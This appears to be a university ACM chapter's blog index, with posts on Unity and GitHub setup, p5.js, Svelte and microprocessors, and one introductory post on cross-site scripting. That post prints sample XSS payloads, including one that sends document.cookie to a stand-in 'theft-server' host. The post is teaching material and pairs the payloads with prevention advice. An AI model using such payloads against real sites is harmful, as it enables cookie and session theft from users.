README by acmCSUF

README

by ACM at CSUF

The official ACM at CSUF blog.RSS feed logo

Filter by Tags
algo dev devops game dev git release security svelte
  • Stephanie Pocci

    Setting Up a Unity Repository

    Getting Started

    Before we begin, make sure you have both of the following downloaded:

    • GitHub Desktop
    • Unity engine version 2021.3.18f1 downloaded. Any version of Unity should work as long as it is 2021.3.18f1 and after! 1

    In order to download multiple Unity versions, please download Unity Hub first. You'll need to create an account and agree to the free personal license as prompted.

    Minimum System Requirements

    The following are the system requirements in order to be able to run Unity engine:

    • Windows 7+, Mac OS X 10.13+, Ubuntu 16.04, 18.04, or CentOS 7
    • Minimum 6GB of free space on your disk

    Your First Project

    1. Creating a Unity GitHub repository

    To keep this simple, please follow along with your downloaded version of Github Desktop! Ensuring your Unity project is linked to GitHub is a semi-complicated process if you're not familiar with it. That's why this guide is here to help you!

    • Open GitHub Desktop and select File > New repository
      image
    • Fill out the fields in the pop-up menu. Be sure to set the git ignore to Unity
    • Be sure to also initialize a README.md file so we can push this repository to GitHub.
    • Don't forget to select Create Repository once you're finished with the settings!
    • After you've created the repository, feel free to commit and push your current changes/settings to GitHub.
      image

    2. Creating a new project in Unity

    If you're following along with the workshop, please double check you have Unity Hub and Unity version 2021.3.f1 downloaded.

    • Open Unity Hub and select New project (it will be in bright blue on the top right-hand side)
      image
    • In the new menu, be sure to select 2D Core and change the Project name to your liking
    • Most importantly, open File explorer by selecting Location, and setting it to the folder of the repository you just created (If you're using Windows, it should be under Documents > GitHub if you didn't change any settings)
    • Once you're done, don't forget to select Create project
      image
    • If you've done everything correctly, you should see the project you created in the Hub like this:
      image

    3. Open your Unity project

    The first time you open your project, depending on your RAM you may have to wait a little while for Unity to do first-time setup. This occurs for each new project you make. Don't worry though - this is only for the first time setup - so hang tight!

    • To open the project you just created, go ahead and just select your newly created project in the Unity Hub
    • If everything went smoothly, you shouldn't see any warnings or errors and you will see the main Unity editor view:
      image

    4. Push your newly creating project to GitHub

    Now, we will be switching gears back to GitHub Desktop to finish off this tutorial.

    • Open GitHub Desktop back up
    • You can use the dropdown menu at the top left to ensure you are on the correct project repository
    • There should be visible changes under the Changes section on the left-hand side. Note: New changes will appear even if you have made no changes to the game because meta data files are changed each time you open the game's editor.
    • Go ahead and fill out a git commit title and message and then select Commit to main
      image
    • Don't forget to push!~
      image

    Important Note

    If you are getting an error saying a file that will be uploaded is too large, it means that your .gitignore and .gitattributes are not located within the Unity project folder.
    To fix this:

    • Use File explorer and navigate to the GitHub folder and drag the .gitignore and .gitattributes into the Unity project folder (should be titled with the name of your project).
    • Ensure the files are in the right location (should look similar to the image below)
      image
    • After moving these files, you should be able to commit just fine now.

    Voila!

    Congrats on creating your very first Unity repository! You should be able to start your first Unity project and be able to push your progress to GitHub.

    Footnotes

    1. If you have any issues with this tutorial, feel free to message the ACMForge board on the ACM discord by pinging @GameDevBoard. Feel free to also contact @stephaniePocci (Commodore Jellyfish#5175) on Discord for any questions. ↩

    March 13, 2023 • 5 min read

    #game dev

  • @oscisn93

    GitHub Student Developer Pack: Step by Step

    Have you ever seen any GitHub features that you've wanted to try, but couldn't access because you don't have a Pro account? From Codespaces, to Workflows, to GitHub Pages, and yes- even Copilot, the Student Developer Pack will allow you to access all of these features and more and make your developer experience so much easier!

    Excited yet? Good!

    But first here's what you'll need:

    1. A valid CSUF email address.
    2. A CSUF school id or a copy of your unofficial transcripts, showing that you're currently enrolled!

    That's it, now let's get started!

    First you'll want to visit the following link: https://education.github.com/pack

    You should see the following- you may have to scroll down a bit if your screen is on the smaller side:

    home_page

    Click on the green button that the yellow arrow points to. And you'll be redirected to the following page. Again follow the yellow arrow.

    student_pack

    The site will once again remind you of what you need to be verified. Again, remember that you need one or the other- not both!

    required_docs

    And once you upload the necessary file, hit submit...

    now_wait

    And now, we wait!

    The process usually takes no more than a few days, however, if you are a recent transfer or there are issues with you start the process on the weekend it may take longer. Not to worry though it's rarely longer than a week wait, and soon enough you'll be deploying your portfolio on GH pages and spinning up codespaces to do your programming homework!

    Best of luck,
    Dev Team Dev team logo

    March 11, 2023 • 2 min read

    #devops#dev

  • Stephanie Pocci

    Setting up GitHub Desktop for ✨Game Development✨

    What is GitHub Desktop?

    Before the command-line Git warriors come for me, I ask that you read this post in its entirety first...

    GitHub Desktop is a beginner-friendly user interface for source control with Git. It's used by a lot of game developers to keep track of changes to their code. Game devs also use other GUI's such as GitKraken, BitBucket, QGit and more - but we'll cover those another time. GitHub Desktop functions like any other GUI and allows you to utilize a client to manage source code, deploy their code, keep track of branches, track issues and bugs, etc.

    Why GitHub Desktop?

    I'm sure you're thinking "Steph, I already know how to use git in command line because they shoved the commands down our throats since CPSC 120". Well you're right for individual and small-scale group projects. You only use command-line for game development if you're a masochist.
    Using a GUI for source control is a much better choice for a variety of reasons:
    • In game dev, you'll be working with non-programmers who will have no idea how to utilize Git in the command line. This allows for non technical roles like artists, composers, designers, and producers to upload and push their changes and assets.
    • It provides an easy to understand and use interface for beginners who aren't accustomed to the command line interface yet. This reduces the learning curve and increases productivity!
    • There are way too many files for game development to be streamlined simply on command line. Source control GUIs like GitHub Desktop allows you to compare views of files side by side. For example, you can view two versions of the same sprite character sheet asset side by side during a merge conflict to ensure that you're keeping the artist's most updated version. (Artists get very sad when you don't use their art 😔

    Basically having everything at the click of a button instead of having to memorize a bunch of commands to start doing game development is a major plus!
    A sneak peak of what the GitHub Desktop interface looks like!
    Don't worry GitHub Desktop has a dark mode too!

    Setting up GitHub Desktop for Unity

    1. Setting Up GitHub Desktop

    Now we get to the juicy part! Head on over to the GitHub Desktop website and download the latest version (we'll be using Windows OS for this tutorial for sake of simplicity).
    Image of the GitHub Desktop download page Once you download and run the exe, you should be greeted with this page: Image of the initial download screen on GitHub Desktop
    Go ahead and sign into your GitHub account. If you haven't made one and need help feel free to message in the ACM discord server or turn to your neighbor in class.

    Now, click on File at the top left of the GUI and select Options. We're going to be adjusting some settings to make it more ✨customized✨ for you!
    Reference photo for file > options
    Feel free to go through each tab and change each options to your preferences! Don't forget to click save at the end!
    Reference photo for Integrations
    Reference photo for Git
    Reference photo for Appearance

    2. Creating a new Repository for Unity

    Once you have all your settings in order, let's create our repo! Go ahead and click File in the top left corner again and select New repository.
    Next, you're going to be greeted with a brand new menu for your new repo's settings. Fill out the settings as you would normally (feel free to copy the example below) but make note of the Git ignore section!
    ⚠️

    Important!

    Make sure to set the Git ignore to Unity from the dropdown menu. Make sure to select Unity and NOT Unity Engine. The Unity community preset is more comprehensive, frequently updated. The Unity Engine preset is given by Unity themselves and may not include all the necessary .gitignore presets.
    ⚠️ Once you're finished with the presets, double check that everything is how you want it and select Create repository.
    Reference photo for setting up a new repository with Unity presets

    3. Admire your shiny new Unity game repo😩💦


    New repo lfg Once everything's looking good go ahead and select Publish repository. You're going to be greeted with another settings menu once more. Feel free to use the dropdown menu and select an organization this repository is affiliated with, but that's completely optional! You can also uncheck Keep this code private if you're a based open source girly 💅
    Reference photo for finalizing repo and publishing

    Congratulations!

    You can now use the repository you have just created for source control for your own Unity game! If you have questions, feel free to contact Steph (Commodore Jellyfish#5175) on the ACM Discord 💜

    What's next for ACMForge?

    Stay tuned for upcoming ACMForge updates!
    We'll be learning how to set up a repository for Unreal, how to create a new Unity project, and how to create a new Unreal project. If you have any suggestions or more tutorials you'd like to see, feel free to let us know!
    - Steph 💜

    March 7, 2023 • 5 min read

    #git#game dev

  • Angel Santoyo

    Cross Site Scripting, simplified

    What is up my ACM folks, today we’re gonna break down and simplify Cross Site Scripting (XSS) on a higher abstract level. XSS is a pretty common web vulnerability so it’d be beneficial to know a bit about it when developing web applications.

    Have you ever wondered what could happen when you click on a sketchy link? Well XSS is one of the many ways links could be used to compromise your system. Let’s go over how.

    What is XSS?

    Simply put, XSS occurs when a payload is injected into your browser.

    This is a pretty big deal since an attacker can execute JavaScript in your browser, which can fully compromise you. An attack could execute any action in that application and view/modify any data in your window. With this, an attacker could steal your user accounts, hijack credentials, and take sensitive data.

    What types of XSS exist?

    When watching out for XSS it comes in 3 main forms, Reflected, DOM-based and Stored.

    Reflected XSS

    Reflected XSS occurs when JavaScript is executed with origins from an HTTP request. This is reflected either be a website’s results or response immediately.

    When looking out for reflected XSS it’s important to know that reflected attacks occur in emails or URLs.

    Let’s go over a simple made up example that occurs if you were to search for a certain user on twitter.

    https://twitter.com/search?user=angus

    In the URL response the application would echo would be

    <p> You searched for: angus </p>

    Under the assumption this link isn’t processed in any way, an attacker could modify the URL like so.

    https://twitter.com/search?user=<script>Malicious stuff </script>

    Now If a user were to visit this link the malicious JavaScript would be executed in their browser.

    DOM XSS

    Now let's go over DOM-based XSS, which occurs when an app has some client side code that is modified to run in an unintended way.

    For example a web page can have an input field that is populated through a URL query similar to reflected XSS. This populated input field then causes an issue that makes the DOM behave unexpectedly.

    Let’s say we have an input field to choose a pizza type for our pizza order.

    <select>
<script>

document.write("<OPTION value=1>"+decodeURIComponent(document.location.href.substring(document.location.href.indexOf("default=")+8))+"</OPTION>");

document.write("<OPTION value=2>Pepperoni</OPTION>");

</script>
</select>

    Let’s say by default the link looks something like this.

    http://www.papajohns.com/order.html?default=Cheese

    An attacker could give you a link

    http://www.papajohns.com/order.html?default=<script>alert(document.cookie)</script>

    Now the DOM would create an object for that string which could be exploited to steal your cookies.

    Stored XSS

    Lastly let's go over Stored XSS, which functions a bit differently then Reflected or DOM XSS. Here the malicious script comes from a server or database. This happens because the application server first received malicious data from input on the application. The input can come in anywhere that input is allowed, like choosing a username, contact info or pretty much any input field on an application or website. Later users receive that data in an HTTP response.

    For example some an attacker could input something like this as a username to take a users session identifier cookies.

    <script>var+img=new+image();img.src="http://theft-server/" + document.cookie;</script>

    Let’s assume the input wasn’t processed after this, then the website would post this username through an HTTP request and any user who visits that user profile would receive the attacker's intended response.

    The reason Stored XSS is a bit more dangerous is because it is self contained in the application, unlike Reflected/DOM XSS where you would have to introduce another user to the exploit through something like a URL.

    Preventing XSS

    Some good practices to prevent XSS are to filter your input fields when taking input, encoding output data so it’s not misinterpreted as content, and using proper response headers. You could also use a Content Security Policy (CSP) HTTP header in your webpages. CSP can make it so only your content only comes from the site origin, allowing/disallowing certain domains and restricting/allowing certain content media types like images, audio, etc.

    These are the basic concepts behind XSS, but XSS can get pretty complicated so it’s good to look into some of the more advanced techniques in which it could manifest itself.

    February 23, 2023 • 4 min read

    #dev#security

  • Ethan Davidson

    acmcsuf.com 4.0: Summer-Winter 2022 changes

    acmcsuf.com v4.0

    This release marks the completion of the ACM CSUF website v4.0 milestone 💫

    Summer/Winter '22 semester sprint

    Thank you to everyone who contributed to acmcsuf.com in the Fall/Winter 2022 semester sprint!

    • Webmaster: @EthanThatOneKid
    • Roadmap: https://acmcsuf.com/joblist
    • Reflection: We learned how to communicate with each other using the tools of professional software developers by participating in the code review cycle on GitHub, encouraging the sharing of diverse ideas, and asking questions at in-person meetings or on Discord.

    Contributors

    During the Fall 2022 school semester, the acmcsuf.com team accomplished another great number of feats. This semester we gained even more contributors culminating in a total of 34 total contributors at the time of this release. Each contributor took steps into the field of website development and through this experience, they can take this knowledge to expand their programming skills further.

    New to acmcsuf.com hub

    If you are interested in following along with us and becoming an acmcsuf.com v4.0 contributor, just watch out for any announcements on our blog (https://acmcsuf.com/blog) or the acmCSUF Discord server.

    Easter egg

    As part of this release, we are introducing an easter egg that allows contributors to see exactly how they contributed to acmcsuf.com throughout the history of acmcsuf.com releases.

    For example, take a look at https://acmcsuf.com/@ethanthatonekid?release=v4.0

    Pattern:

    https://acmcsuf.com/@$USERNAME

    Related: #757

    What's Changed

    Full Changelog: v3.0...v4.0
    GitHub Discussion (Mirror): #758
    Blog Post on acmcsuf.com (Mirror): https://acmcsuf.com/blog/758
    GitHub Release (Original post): https://github.com/EthanThatOneKid/acmcsuf.com/releases/tag/v4.0

    This discussion was created from the release acmcsuf.com 4.0: Summer-Winter 2022 changes.

    January 23, 2023 • 20 min read

    #release

  • @jjoeldaniel

    Sharing Code with Markdown

    Introduction

    The purpose of this blog post is to introduce developers to the use of Markdown for sharing code with others and explores alternative tools like Pastebin and Privatebin.

    This is specifically oriented towards use on Discord, however any site that supports Markdown's extended syntax elements will also work.

    Structuring

    Before anyone can dive into reviewing your code, it has to actually be readable and structured clearly.

    This means not submitting this when asking for help

    code

    Typically, the best way to directly post your code is with fenced code blocks from Markdown.

    Instead of posting a wall of text, we can use these blocks to structure our code in a nice, easy-to-understand way (we even have access to syntax highlighting).

    Example:

    In this case, the language is JSON, replace json with the actual language you are using

    ```json
{
  "firstName": "John",
  "lastName": "Smith",
  "age": 25
}
```

    ...would produce:

    {
  "firstName": "John",
  "lastName": "Smith",
  "age": 25
}

    This way we can directly post our code. However, it's not always the best solution for large chunks of code. For this, I would recommend tools such as Pastebin or Privatebin. Of course, if your code is already on GitHub, feel free to link that too!

    You can find an example of Pastebin in action here.

    Summary

    This blog post provides useful tips for developers looking to share their code with others in a clear and organized way, using the tools and features of Markdown. Hopefully, you've learned a thing or two about Markdown!

    Resources

    December 28, 2022 • 2 min read

  • Ethan Davidson

    Begin your 2023 with Genuary!

    ACM at CSUF welcomes Genurary 2023!

    Welcome to your introductory Genuary 2023 codelab where you will learn how to use https://editor.p5js.org/ to generate artwork for Genuary 2023.

    What is Genuary? ❄️

    Genuary 2023's official website https://genuary.art/ defines Genuary as:

    Genuary is an artificially generated month of time where we build code that makes beautiful things.

    There is a unique prompt for each day in the month of January. All of these prompts encourage the practice of creative expression in programming.

    In our club Discord server, members are encouraged to share their creations throughout the monthlong event: Genuary 2023.

    What is this codelab about?

    In this codelab, you will learn how to create your first generative artwork with https://editor.p5js.org/ for Genuary 2023.

    Once you have completed this codelab, you will have created a generative artwork using the 10print algorithm.

    Quickly, what is 10print?

    10print is a generative algorithm that creates a pattern of lines.

    Simulated output of the 10PRINT one-liner BASIC program for the Commodore 64

    source: Wikipedia

    Our algorithm will draw out the pattern of lines on a canvas from the top left corner to the bottom right corner.

    The algorithm is based on the following rules:

    • 50% of the time, draw a line from the top left corner to the bottom right corner.
    • The other 50% of the time, draw a line from the bottom left corner to the top right corner.

    Supplemental reading:

    Set up https://editor.p5js.org/ for Genuary

    Sign in

    Sign in to https://editor.p5js.org/ with your GitHub account.

    Create a new sketch

    To create a new sketch from scratch, go to https://editor.p5js.org/ and click on File > New.

    Save the sketch with whatever name you like, or use a pattern such as genuary-2023-01-01.

    In your sketch, you will see a setup() function and a draw() function.

    function setup() {
  createCanvas(400, 400);
}

function draw() {
  background(220);
}

    Start by removing background() from the draw() function.

    Also, add a stroke() function to the setup() function to set the color of the lines to white.

    function setup() {
  createCanvas(400, 400);
  stroke(255);
}

    Make globals for the sketch

    Above setup(), we will define global variables for the sketch.

    let x = 0;
let y = 0;
let s = 10;

    Draw a diagonal line

    In the draw() function, draw a diagonal line with line().

    Press to reveal the code 
    function draw() {
  line(x, y, x + s, y + s);
}

    Run ▶️ the sketch to see that the line is drawn from the top left corner to the bottom right corner of the first square, which is 10 pixels by 10 pixels.

    Draw a second diagonal line

    To draw a second diagonal line, we will need to change the value of x by s pixels in each frame to move the next diagonal line to the right.

    Press to reveal the code 
    function draw() {
  line(x, y, x + s, y + s);
  x += s;
}

    Run ▶️ the sketch to see that an entire row of diagonal lines is drawn.

    Draw the second row of diagonal lines

    To draw the second row of diagonal lines, we will need to change the value of y by s pixels each time x reaches the end of the canvas to move the next diagonal line down. Do not forget to send x back to 0 when x reaches the end of the canvas.

    Press to reveal the code 
    function draw() {
  line(x, y, x + s, y + s);
  x += s;
  if (x >= width) {
    x = 0;
    y += s;
  }
}

    Run ▶️ the sketch to see that the entire canvas is filled with diagonal lines, but they are all drawn from the top left corner to the bottom right corner.

    How many frames does it take to draw the entire canvas?

    Since we know the width and height of the canvas, we can calculate the number of frames it takes to fill the canvas with one diagonal line per frame.

    To do this, we will need to know the number of squares that fit horizontally and vertically on the canvas.

    • width / s = number of squares that fit horizontally
    • height / s = number of squares that fit vertically

    We can then multiply the number of squares that fit horizontally by the number of squares that fit vertically to get the total number of squares.

    (width / s) * (height / s) = total number of squares
    Press to reveal the answer

    Assuming you are drawing one diagonal line per frame, we can then calculate the number of frames it takes to fill the canvas given that the canvas is 400 pixels by 400 pixels and each square is 10 pixels by 10 pixels.

    (400 / 10) * (400 / 10) = 1600 frames

    Keep in mind how to get the number of frames it takes to fill the canvas in order to create a GIF later.

    Randomize the direction of the diagonal line

    To randomize the direction of the diagonal line, we can use random() to generate a random number between 0 and 1.

    We can tell our program to draw a line from the top left corner to the bottom right corner if the random number is greater than 0.5, and to draw a line from the bottom left corner to the top right corner of the random number is less than 0.5.

    Press to reveal the code 
    function draw() {
  if (random() > 0.5) {
    line(x, y, x + s, y + s);
  } else {
    line(x + s, y, x, y + s);
  }

  x += s;
  if (x >= width) {
    x = 0;
    y += s;
  }
}

    Run ▶️ the sketch to see that the direction of the diagonal line is randomized.

    Draw infinitely

    To start the animation over when it reaches the end of the canvas, we can set the y value back to 0 when y reaches the end of the canvas and clear() the canvas.

    Press to reveal the code 
    function draw() {
  if (y >= height) {
    y = 0;
    clear();
  }

  if (random() > 0.5) {
    line(x, y, x + s, y + s);
  } else {
    line(x + s, y, x, y + s);
  }

  x += s;
  if (x >= width) {
    x = 0;
    y += s;
  }
}

    Save the animation as a GIF

    Use saveGif() to save the animation as a GIF.

    Hint: Review saveGif() short on YouTube.

    Press to reveal the code

    Allocate a boolean variable filming to keep track of whether the animation is being recorded to GIF.

    let x = 0;
let y = 0;
let s = 10;
let filming = false;

    Set filming to false when the animation completes.

    function draw() {
  if (y >= height) {
    filming = false;

    y = 0;
    clear();
  }

  if (random() > 0.5) {
    line(x, y, x + s, y + s);
  } else {
    line(x + s, y, x, y + s);
  }

  x += s;
  if (x >= width) {
    x = 0;
    y += s;
  }
}

    Make your call to saveGif() in the mouseClicked() function. When the mouse is pressed, the animation will be restarted and recorded to GIF.

    Feel free to change the name of the GIF, but make sure the number of frames is the same as the number of frames it takes to fill the canvas.

    function mousePressed() {
  if (!filming) {
    saveGif(
      "genuary-2023-01-01.gif",
      (width / s) * (height / s),
      { units: "frames", delay: 0 },
    );

    x = 0;
    y = 0;
    clear();

    filming = true;
  }
}

    Run ▶️ the sketch and then click the canvas with your mouse to see that the animation is saved as a GIF.

    Congratulations!

    You have created your first animation for Genuary 2023 which concludes this
    codelab!

    Press to reveal the completed codelab 
    let x = 0;
let y = 0;
let s = 10;
let filming = false;

function setup() {
  createCanvas(400, 400);
  stroke(255);
}

function draw() {
  if (y >= height) {
    filming = false;

    y = 0;
    clear();
  }

  if (random() > 0.5) {
    line(x, y, x + s, y + s);
  } else {
    line(x + s, y, x, y + s);
  }

  x += s;
  if (x >= width) {
    x = 0;
    y += s;
  }
}

function mousePressed() {
  if (!filming) {
    saveGif(
      "genuary-2023-01-01.gif",
      (width / s) * (height / s),
      { units: "frames", delay: 0 },
    );

    x = 0;
    y = 0;
    clear();

    filming = true;
  }
}

    Next steps

    Feel free to add more features to your animation, such as:

    • Randomize the color of the diagonal line.
    • Change the size of the diagonal line.
    • Customize the way in which the diagonal lines are drawn.

    If you are interested in learning more about p5.js, check out the following references:

    More on saveGif()

    It is no coincidence that this codelab features the saveGif() API. The first prompt of Genuary 2023 is "Perfect loop / Infinite loop / endless GIFs". The saveGif() API provided by p5.js is a powerful tool that happens to help with Genuary 2023 day 1 in particular, and even with other prompts later this month at the artist's discretion.

    Social media

    You are encouraged to share your GIF on your favorite social media and tag it with #genuary and #genuary2023 and also #genuary1, #genuary2, etc, depending on which prompt you are working on.

    Do not forget to send your GIF to the associated thread on our club Discord server, https://acmcsuf.com/discord!

    Credits

    December 27, 2022 • 14 min read

  • Sara Sadek

    Microprocessors part 1 b/c why not?

    How many of you have been totally lost when reading something? Me!! This is why vocabulary is super important when reading, ask any teacher. When reading something do not just skip over stuff you don't understand although it may be tempting, look it up. It is a book, you can always go back so take advantage of that and pause in-between readings and figure out what you don't understand. This is like the first thing we learned in EDSC 330 and it will be part of this blog post, tell me what you learned and what you still don't understand if it is even an option to interact with this.

    For the intro blog post for the microprocessor series, here is a bunch of vocabulary words that are kind of randomly ordered and a bit messy, sorry.

    Levels of abstraction
    Physics - motion of electrons and behavior of the electrons described by quantum mechanics and maxwell’s equations (I think phys 226 covers some of this if want to learn about it)

    Electronic devices - ex. Transistors, capacitors, resistors, that have well defined connection point s called terminals that can be modeled by the relationship between voltage and current measured at each terminal
    each logic circuit is implemented in accordance with device technology so cmos circuits are different than nmos circuits which are different from gallium arsenide circuits
    Transistors are electronically controlled switches that turn on or off when a voltage or current is applied to a control terminal

    Analog circuits - input and output a continuous range of voltages

    Digital circuits - restrict voltages to discrete ranges which are used to indicate a 0 or 1 and are a subset of analog circuits and must be capable of less than broader class of analog circuits

    Logic design- build more complex structures such as adders or memories from digital circuits

    From the programmer's perspective
    Microarchitecture - links logic design and architecture levels
    implementation of isa what is going on under the hood cost and performance tradeoffs is result of designer’s decisions regarding tradeoffs of cost and performance examples include that x86 has had many implementations such as 8086, 80286, skylake
    Architecture - describes a computer from the programmer's perspective for example intel x86 is defined by a set of instructions and registers that a programmer is allowed to use
    The microarchitecture combines the logic elements to execute the instructions defined by the architecture
    Different types of microarchitectures for example x86 architecture can be implemented by microarchitectures such as intel core i7 or amd athlon or some other microarchitecture (do this different microarchitectures have different logic designs or just different links that result in different performance?)
    translate the program into the instruction set of the particular computer that will carry out the work of the program
    ISA or architecture - is the complete specification of the interface between programs that have been written and the underlying computer hardware that must carry out the work of those programs interface between computer program and the computer hardware
    Opcode-operation or function like lets say multiply
    Operand - t individual data values
    Data types - what isa specifies the acceptable representation for operands in other words a representation of an operand such that the computer can perform operations on that representation so like strings or ints or whatever
    Addressing modes - ISA also specifies the mechanism that the computer can use to figure out where the operands are located so like different ways in which a source operand is denoted in an instruction link explaining addressing modes in 8086
    Some isas have as few as a dozen opcodes or operations while others have more and some have a few data types while other have more some have a few addressing modes while others have more
    Isa also specifies the number of unique locations that make up a computer's memory as well as number of individual 0s and 1s that are contained in each location
    Compiler - translating program that translates high level languages to isa of the computer that the program will execute on
    What in the world is an assembler??
    An example of an isa is the x86 isa

    Operating system - handles low levels of details such as accessing a hard drive or managing memory

    Application software - uses facilities provided by operating system to solve a problem for the user

    Managing complexity:
    Abstraction - hiding details when they are not important there are many levels of abstraction. Electronic devices are an abstraction of the physics behind electron move or operating systems are an abstraction of microarchitecture ex2. Using 0s and 1s instead of varying voltages of transistors in logic gates, another example is a circuit being an abstraction of the gates that make it up. You can basically think of seeing something as the sum of its parts and kind of ignoring the parts a great example is a mosaic

    Deconstruction - the ability to go from abstraction to the component parts so from bottom to top in our list of vocab starting at operating system ending at physics or the opposite of abstraction

    Discipline - intentionally restricting design choices so can work more productively at a higher level of abstraction and using interchangeable parts is a familiar application of discipline an example of this is using digital circuits which intentionally restrict the function of analog circuits to do a task

    Hierarchy - dividing a system into modules then further subdividing each module into smaller parts until the pieces are easy to understand

    Modularity - the modules have well-defined functions and interfaces so they can connect together easily without unanticipated side effects

    Regularity - seeks uniformity among modules so that they can be reused many times reducing the number of distinct modules that must be designed

    Beginning of Computer systems
    Software - directs hardware so basically telling hardware what to do

    Hardware - physical parts of the computer that performs the actual processing like adding or subtracting also called CPU, processor, or microprocessor

    Computer - hardware + software

    levels of transformation
    Natural languages - languages people speak like English
    The problem with natural languages is that there is a lot of ambiguity like if I said time flies you should be able to know that it means that time is passing by quickly but someone might view it as time literally flying or maybe think of a group of flies called time flies just like a group of whales like humpback whales. Point is context matters and there are expressions that may be hard to understand especially since they are not universal this multiple interpretations of the same instruction makes it hard for computers to understand natural language

    Algorithms - is a step by step procedure that is guaranteed to terminate such that each step is precisely stated and can be carried out by the computer
    Defitness - each step is precisely stated
    Effective computability - each step can be carried out by the computer
    Finiteness - the procedure terminates
    For every problem there are usually many different algorithms for solving that problem but differ in amount of time or resources or steps or whatever
    Program - transform the algorithm to a computer program through use of programming languages which are mechanical languages
    Mechanical languages - invented for use in specifying a sequence of instructions to a computer so do not have ambiguity
    Languages are machine independent meaning they should work no matter the machine this is for high level languages while low level languages may be machine dependent as there is different types of assembly language for different computers

    Instruction set look above -

    Microarchitecture - look above

    Logic circuit - look above

    The device - look above

    Total gibberish, right?
    Look up turing
    Look up nmos, mos, and cmos, we will maybe go over these when we go over logic gates which should be after binary numbers God willing, no promises though
    Next blog will be on binary numbers and number systems

    November 23, 2022 • 7 min read

  • Daniel Truong

    👾 Dev Project Demo 1 Showcase Recap 👾

    Introduction 🥳

    This is acmCSUF Dev team first demo event in Fall 2022 that serves the purpose for Dev members to show what they've been working on since the start of the semester and get a chance to showcase it to inspire other developers and learn from each other. We also 5 winning categories including:

    1. Most Creative ⚡️
    2. Best use of Github 🐱
    3. Funniest 🤡
    4. Most Practical ⚙️
    5. Best Design 🎨

    Recap ▶️

    Project Demo 1 Kickoff Meeting 📸

    Screen Shot 2022-11-17 at 1 26 45 AM

    Project Demo 1 Showcase 🥰

    Screen Shot 2022-11-04 at 4 48 46 PM

    We're more than happy to welcome a total of 9 projects from different teams including:

    1. Filey - Angel ( Most Practical ⚙️ )

    Screen Shot 2022-11-04 at 4 11 33 PM

    2. Rhythm Composer JS808 - Pachuco

    3. Distor - Jacob & Yves ( Most Creative ⚡️)

    Screen Shot 2022-11-04 at 4 14 36 PM

    4. Haven Blues (Game Project) && Red In Right (Game Project) & Portfolio - Boushra

    Screen Shot 2022-11-04 at 4 21 56 PM 1

    Screen Shot 2022-11-04 at 4 24 03 PM

    5. Gameboy Simulator - Daniel, Sandra, Alex

    Screen Shot 2022-11-03 at 1 19 49 AM

    6. CSUFeet - Charlie ( Funniest 🤡 )

    Screen Shot 2022-11-04 at 4 29 38 PM

    Screen Shot 2022-11-04 at 4 29 52 PM

    7. Stardew.app - STARDEW & Clem ( Best Design 🎨 )

    Screen Shot 2022-11-04 at 4 32 52 PM

    8. Gitcord - Ethan & Diamond ( Best use of Github 🐱 )

    Screen Shot 2022-11-04 at 4 37 16 PM

    9. TwiDiscord - Diamond

    twipi-scrot-2

    Thanks everyone for your super cool projects 🤩

    What's next❓

    We'll have one more Dev Project Demo 2 which will occur near the end of the semester, so don't worry if you missed the first one, you still have chance to present at Demo 2 💕 this is a judgement-free zone so any projects is welcome, you'll only receive compliments 🥰

    That's it from me, have fun and keep coding 🤓

    November 17, 2022 • 3 min read

    #dev

  • Daniel Truong

    Dev Portfolio Project Final Part - Experiences & Projects

    Introduction 🥳

    • In this blog, we'll guide you to create the last 2 components: Experiences and Projects for our portfolio website and it looks something like this

    Screen Shot 2022-10-28 at 2 28 24 PM

    Screen Shot 2022-10-28 at 2 28 38 PM

    What'll be covered in this blog 🤓

    • #each loop in Svelte ( we've learned this in part 2 )

    Let's start 🤖

    Create Experiences + Projects components

    • Similar to what we did in previous parts, we'll create Experiences.svelte and Projects.svelte in our components folder

    Screen Shot 2022-10-28 at 2 31 46 PM

    NOTE: Don't forget to import our component in App.svelte - our main Svelte file

    App.svelte

    <script>
  import About from "./components/About.svelte";
  import Experiences from "./components/Experiences.svelte";
  import NavBar from "./components/NavBar.svelte";
  import Projects from "./components/Projects.svelte";
</script>

<main>
  <NavBar />
  <div>
    <About name={"Frank"} />
    <Experiences />
    <Projects />
  </div>
</main>

<style>
  main {
    margin: 1rem;
    font-size: 1.25rem;
  }
</style>

    Experiences Component

    • Similar to what we did in NavBar.svelte, we'll also create a JavaScript Array of Objects to hold our data and then use Svelte #each loop to render them to our browser
    <script>
  const exps = [
    {
      title: "Shark Gang Lead",
      duration: "Jan 2022 - Present",
    },
    {
      title: "Vegan Shark",
      duration: "Jan 2021 - Jan 2022",
    },
    {
      title: "Junior Shark",
      duration: "Jan 2020 - Jan 2021",
    },
    {
      title: "Baby Shark",
      duration: "Jan 2019 - Jan 2020",
    },
  ];
</script>

<section class="container__exps" id="Experiences">
  <p class="header--big">Experiences</p>
  {#each exps as { title, duration }}
    <div class="container__exp">
      <p class="header__title">{title}</p>
      <p class="header__duration">{duration}</p>
    </div>
  {/each}
</section>

<style>
  .container__exps {
    margin-top: 10rem;
    display: flex;
    justify-content: center;
    flex-direction: column;
  }
  .header--big {
    font-size: 2.5rem;
    font-weight: 780;
  }
  .container__exp {
    background-color: #2C91C6;
    border-radius: 2rem;
    margin: 1rem;
  }
  .header__title {
    font-size: 1.5rem;
    font-weight: 600;
  }
</style>

    SCROLLING EFFECT

    Notice that we set the id="Experiences" for our <section> since we want the scrolling animation that whenever we click an item on our Navbar it'll scroll to the section with the matching id, let's recall our Navbar code for this:

    NavBar.svelte

      const navItems = [
    { title: "About", url: "#About" }, // Scroll to section with id About
    { title: "Experiences", url: "#Experiences" }, // Scroll to section with id Experiences
    { title: "Projects", url: "#Projects" }, // Scroll to section with id Projects
  ];

    And we also need to add a little bit of CSS to make the scrolling become smoother

    app.css

    html {
  scroll-behavior: smooth;
}

    Projects Component

    • Similar to what we did in Experiences.svelte, we'll also create a JavaScript Array of Objects to hold our data and then use Svelte #each loop to render them to our browser
    <script>
  const projects = [
    {
      title: "acmcsuf.com",
      description: "Developed acmcsuf.com website",
      url: "https://github.com/EthanThatOneKid/acmcsuf.com",
    },
    {
      title: "Intro to Web Dev",
      description: "Beginner friendly Web Dev series by acmDev",
      url: "https://github.com/acmCSUFDev/intro-to-web-dev",
    },
    {
      title: "ICON",
      description: "Notion Canvas integration for students",
      url: "https://github.com/acmCSUFDev/ICON",
    },
    {
      title: "Food Tinder",
      description: "tinder for matching people by food places",
      url: "https://github.com/acmCSUFDev/Food-Tinder",
    },
  ];
</script>

<section class="container__projects" id="Projects">
  <p class="header--big">Projects</p>
  {#each projects as { title, description, url }}
    <div class="container__project">
      <a href={url} target="_blank">
